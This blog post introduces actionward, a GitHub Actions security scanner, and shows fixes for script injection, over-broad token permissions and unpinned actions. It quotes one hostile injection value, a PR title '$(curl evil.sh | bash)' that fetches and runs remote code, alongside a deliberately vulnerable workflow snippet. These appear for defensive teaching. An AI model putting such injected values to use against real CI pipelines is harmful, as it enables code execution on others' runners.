DEV Community

Cover image for I wanted a zero-config Actions security scanner, so I built one: actionward
TANK JAY
TANK JAY

Posted on Originally published at jaytank.hashnode.dev

I wanted a zero-config Actions security scanner, so I built one: actionward

Most of my GitHub Actions workflows are three steps long. They still manage to
be one of the softest spots in a repo: a stray ${{ github.event.* }} in a
run: block, a token with write-all, an action pinned to a mutable tag. The
tools that catch this stuff tend to be heavy - org-scoped policy engines, a
SaaS dashboard, something that wants a token and a network round-trip before it
tells me anything.

I just wanted a binary I could drop into any repo and run offline. No account,
no config, no credentials leaving my laptop. That itch became actionward.

This is the fast, hands-on tour: install it, run it, read a real finding, fix
two concrete vulnerabilities, then wire it into CI.

What it is (in one breath)

actionward is a single Go binary that statically analyzes the workflow files
under .github/workflows/. It makes no network calls and reads no
credentials
. It ships 14 rules and, for each finding, tells you why it
matters and how to fix it. Output is text, JSON, or SARIF v2.1.0 for
GitHub code-scanning.

Install and run

git clone https://github.com/jay-tank/actionward
cd actionward
go build -o actionward ./cmd/actionward

# scan the current repo
./actionward scan .
Enter fullscreen mode Exit fullscreen mode

That's the whole setup. Point it at a directory (or a single workflow file) and
it prints findings. Here's the shape of a real one:

HIGH  script-injection  .github/workflows/pr.yml:14
  Untrusted input `github.event.pull_request.title` is interpolated directly
  into a run script and can execute arbitrary shell.
  Fix: pass the value through an `env:` block and reference it as "$TITLE".
Enter fullscreen mode Exit fullscreen mode

Rationale plus remediation, right in the output. Now let's actually fix things.

Fix #1 - script injection

The classic. You interpolate an attacker-controllable field straight into a
shell command:

# BEFORE - actionward: HIGH script-injection
- name: Greet
  run: echo "Thanks for the PR: ${{ github.event.pull_request.title }}"
Enter fullscreen mode Exit fullscreen mode

A PR title of $(curl evil.sh | bash) runs on your runner. The fix is to move
the value into the environment, where the shell treats it as data, not code:

# AFTER - clean
- name: Greet
  env:
    TITLE: ${{ github.event.pull_request.title }}
  run: echo "Thanks for the PR: $TITLE"
Enter fullscreen mode Exit fullscreen mode

actionward also flags the sneakier variant of this rule: writing untrusted
input into $GITHUB_ENV, which can smuggle values into later steps.

Fix #2 - least privilege for the token

By default a lot of workflows inherit a broad GITHUB_TOKEN. This one asks for
everything:

# BEFORE - actionward: HIGH write-all-permissions
permissions: write-all

jobs:
  build:
    runs-on: ubuntu-latest
Enter fullscreen mode Exit fullscreen mode

If any step is compromised, so is your whole repo. Scope it down to exactly what
the job needs:

# AFTER - least privilege
permissions:
  contents: read

jobs:
  build:
    runs-on: ubuntu-latest
Enter fullscreen mode Exit fullscreen mode

The permissions rules also cover unscoped tokens and risky OIDC configurations -
same principle, grant the minimum.

Fix #3 - pin your actions

Referencing an action by a moving tag means whatever @v4 points to today can
change under you tomorrow:

# BEFORE - actionward: MEDIUM unpinned-action
- uses: actions/checkout@v4
Enter fullscreen mode Exit fullscreen mode

Pin to an immutable commit SHA (a full-length pin is the safe form):

# AFTER - pinned
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
Enter fullscreen mode Exit fullscreen mode

Other rules in the set worth knowing about: risky checkouts under
pull_request_target / workflow_run, cache poisoning, curl | bash, secrets
hardcoded in run:, secrets leaking through uploaded artifacts, self-hosted
runners on public repos, and continue-on-error slapped on a security step so
it never actually blocks anything.

Wire it into CI

The real payoff is failing a PR before the risky workflow merges. actionward
ships a composite Action that emits SARIF, so findings show up in the repo's
Security → Code scanning tab:

name: actionward
on: [pull_request]

permissions:
  contents: read
  security-events: write   # needed to upload SARIF

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
      - uses: jay-tank/actionward@v0.1.0
        with:
          format: sarif
          output: actionward.sarif
      - uses: github/codeql-action/upload-sarif@v3
        with:
          sarif_file: actionward.sarif
Enter fullscreen mode Exit fullscreen mode

Prefer to keep it lean? Build the binary in the job and run actionward scan .
directly - same result, one fewer moving part.

Adopting it in an existing repo

Turning a scanner on for a repo that already has a dozen findings is how
scanners get ignored. actionward has a --baseline mode for exactly this: it
records today's findings and then only gates on new ones, so your build goes
green immediately and you burn down the backlog on your own schedule.

# record current findings once, commit the baseline
./actionward scan . --baseline .actionward-baseline.json

# later runs fail only on findings not in the baseline
./actionward scan . --baseline .actionward-baseline.json
Enter fullscreen mode Exit fullscreen mode

For the handful of findings you've reviewed and consciously accept, there's a
project-level .actionward.yml config and an inline # actionward:ignore
comment for a single line. No editing source to silence a rule globally when you
only meant to accept one case.

Where it's going

v0.1.0 is deliberately small: scan, explain, gate - offline. On the roadmap are
an auto-fix mode (apply the env: rewrite for you) and SHA pinning
assistance so the fixes above become one command instead of a manual edit. Those
aren't shipped yet; the 14 rules and SARIF output are.

Try it

Repo: https://github.com/jay-tank/actionward - clone, go build, scan .,
and see what your workflows have been hiding.

If you want the background on why each rule exists, GitHub's own
security hardening for GitHub Actions
is the canonical reference and pairs well with running the scanner.

  • Jay Tank

Top comments (0)